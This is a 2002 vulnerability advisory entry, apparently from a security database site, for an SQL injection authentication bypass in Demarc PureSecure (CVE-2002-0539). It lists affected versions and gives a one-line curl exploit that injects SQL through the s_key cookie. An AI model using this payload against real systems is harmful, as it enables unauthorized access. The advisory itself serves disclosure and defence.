exploits , vulnerabilities , articles , Demarc PureSecure Authentication Check SQL Injection Vulnerability

Title	Demarc PureSecure Authentication Check SQL Injection Vulnerability
Published	2002-04-15-12:00AM
Updated	2002-04-17-10:31PM
Class	Input Validation Error
CVE	CVE-2002-0539
Remote	Yes
Local	No
Credit	Discovered by pokleyzz sakamaniaka <pokleyzz@hotmail.com>.
Vulnerable	Demarc PureSecure 1.0.5 Windows Microsoft Windows 2000 Professional Microsoft Windows 2000 Professional SP1 Microsoft Windows 2000 Professional SP2 Microsoft Windows NT Workstation 4.0 Microsoft Windows NT Workstation 4.0 SP1 Microsoft Windows NT Workstation 4.0 SP2 Microsoft Windows NT Workstation 4.0 SP3 Microsoft Windows NT Workstation 4.0 SP4 Microsoft Windows NT Workstation 4.0 SP5 Microsoft Windows NT Workstation 4.0 SP6a Microsoft Windows XP Professional Snort Project Snort 1.8.3 Demarc PureSecure 1.0.5 Unix Snort Project Snort 1.8.3
Not Vulnerable
Code	The following exploit using curl has been provided by pokleyzz sakamaniaka <pokleyzz@hotmail.com>: curl -b s_key='%20OR%20current_session_id%20like%20'%'%23 https://<lame host>/dm/demarc
TXT

Vulnerabilities - newest 10 RSS | More

• 2009-12-17 HP OpenView Storage Data Protector Stack Buffer Overflow Vulnerability
• 2009-12-17 IBM WebSphere Application Server Feature Pack for CEA Spoofing Vulnerability
• 2009-12-17 Digital Scribe Cross Site Scripting and SQL Injection Vulnerabilities
• 2009-12-17 WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities
• 2009-12-17 Quick Heal AntiVirus Insecure Program File Permissions Local Privilege Escalation Vulnerability
• 2009-12-17 IntelliCom NetBiter webSCADA Multiple Default Password Security Bypass Vulnerabilities
• 2009-12-17 Webmatic Multiple Unspecified SQL Injection and Cross-Site Scripting Vulnerabilities
• 2009-12-17 ManageEngine Password Manager Pro Cross Site Scripting Vulnerability
• 2009-12-17 HP OpenView Storage Data Protector Multiple Remote Code Execution Vulnerabilities
• 2009-12-17 iDevSpot iSupport Multiple Cross Site Scripting Vulnerabilities

• Vulnerabilities
• Exploits
• News
• Articles

Copyright 2007, SecurityDot
Fri, 18 Dec 2009 01:53:36 +0000